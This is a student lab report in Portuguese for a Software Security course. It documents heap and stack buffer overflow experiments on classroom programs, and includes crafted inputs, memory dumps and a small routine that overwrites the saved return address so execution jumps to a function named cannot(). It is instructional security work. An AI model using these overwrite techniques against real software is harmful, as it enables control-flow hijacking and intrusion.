Experiments with Buffer Overflows
Segurança de Software

Guilherme Santos
fc62533

Inês Rocha
fc62699

Miguel Mota
fc62702

October 13, 2023

Heap Overflow

1 (d) O heap cresce de baixo para cima, como foi feito o `malloc()` do `str` primeiro do que o do `critical`, o `str` vai aparecer em endereços menores do que os do `critical`.

1 (e) Como o `argv[1]` começa no endereço `0x555555756260`, fizemos a subtração do endereço `0x55555575627f` com o endereço anterior para sabermos o nº de caracteres antes de `'CIENCIAS'`. Foram necessários 31 1's, o input foi `1111111111111111111111111111111CIENCIAS`.

```
ss@ss-VirtualBox:~/Desktop$ ./heap_overflow 1111111111111111111111111111111CIENCIAS
Address of str is [0x555555756260, 93824994337376]
Address of critical is [0x555555756280, 93824994337408]
[0x555555756260, 93824994337376]: 1 (0x31)
[0x555555756261, 93824994337377]: 1 (0x31)
[0x555555756262, 93824994337378]: 1 (0x31)
[0x555555756263, 93824994337379]: 1 (0x31)
[0x555555756264, 93824994337380]: 1 (0x31)
[0x555555756265, 93824994337381]: 1 (0x31)
[0x555555756266, 93824994337382]: 1 (0x31)
[0x555555756267, 93824994337383]: 1 (0x31)
[0x555555756268, 93824994337384]: 1 (0x31)
[0x555555756269, 93824994337385]: 1 (0x31)
[0x55555575626a, 93824994337386]: 1 (0x31)
[0x55555575626b, 93824994337387]: 1 (0x31)
[0x55555575626c, 93824994337388]: 1 (0x31)
[0x55555575626d, 93824994337389]: 1 (0x31)
[0x55555575626e, 93824994337390]: 1 (0x31)
[0x55555575626f, 93824994337391]: 1 (0x31)
[0x555555756270, 93824994337392]: 1 (0x31)
[0x555555756271, 93824994337393]: 1 (0x31)
[0x555555756272, 93824994337394]: 1 (0x31)
[0x555555756273, 93824994337395]: 1 (0x31)
[0x555555756274, 93824994337396]: 1 (0x31)
[0x555555756275, 93824994337397]: 1 (0x31)
[0x555555756276, 93824994337398]: 1 (0x31)
[0x555555756277, 93824994337399]: 1 (0x31)
[0x555555756278, 93824994337400]: 1 (0x31)
[0x555555756279, 93824994337401]: 1 (0x31)
[0x55555575627a, 93824994337402]: 1 (0x31)
[0x55555575627b, 93824994337403]: 1 (0x31)
[0x55555575627c, 93824994337404]: 1 (0x31)
[0x55555575627d, 93824994337405]: 1 (0x31)
[0x55555575627e, 93824994337406]: 1 (0x31)
[0x55555575627f, 93824994337407]: 1 (0x31)
[0x555555756280, 93824994337408]: C (0x43)
[0x555555756281, 93824994337409]: I (0x49)
[0x555555756282, 93824994337410]: E (0x45)
[0x555555756283, 93824994337411]: N (0x4e)
[0x555555756284, 93824994337412]: C (0x43)
[0x555555756285, 93824994337413]: I (0x49)
[0x555555756286, 93824994337414]: A (0x41)
[0x555555756287, 93824994337415]: S (0x53)
[0x555555756288, 93824994337416]: ? (0x0)
critical = CIENCIAS
ss@ss-VirtualBox:~/Desktop$
```

Figure 1: Output heap_oveflow

Stack Overflow

2(c) São necessários, no mínimo, 13 bytes (incluindo o null-terminator) para criar overflow no `buf`. Houve um overflow no RBP, como demonstrado no primeiro comando na figura abaixo e um overflow no RIP com 21 bytes, como demonstrado no segundo comando. Na segunda execução não foi impresso "I'm OK!" pois o RIP foi alterado e não voltou ao `main()` para fazer o `printf()`.

```
ss@ss-VirtualBox:~/Desktop$ ./stack_overflow 123456789012
I'm OK!
Segmentation fault (core dumped)
ss@ss-VirtualBox:~/Desktop$ ./stack_overflow 12345678901234567890
Segmentation fault (core dumped)
ss@ss-VirtualBox:~/Desktop$
```

Figure 2: Output stack_oveflow

2(h) O programa não imprimiu a frase porque a função `cannot()` nunca é executada.

2(j) São necessários 21 bytes (12 do buffer e 8 do RBP + 1) para dar overflow no RIP. Foi escrito o endereço da função `cannot()` do fim até ao início, de baixo para cima pois quando o RIP lê o endereço, como é hexadecimal, interpreta-o ao contrário. `0x55555555471a` → Endereço da função `cannot()`.

```
A = 20;
B = 0x1a;
C = 0x47;
D = 0x55;
E = 0x55;
F = 0x55;
G = 0x55;
H = 0x0;
I = 0x0;
for (i=0; i<A; i++)
        buf[i] = 'A';
buf[A] = B;
buf[A+1] = C;
buf[A+2] = D;
buf[A+3] = E;
buf[A+4] = F;
buf[A+5] = G;
buf[A+6] = H;
buf[A+7] = I;
```

Figure 3: Valores

```
ss@ss-VirtualBox:~/Desktop$ ./call_stack_overflow_2
 &cannot = 0x55555555471a
This function should not be executed! Was there a BO (-; ?
ss@ss-VirtualBox:~/Desktop$
```

Figure 4: Execução de `cannot()`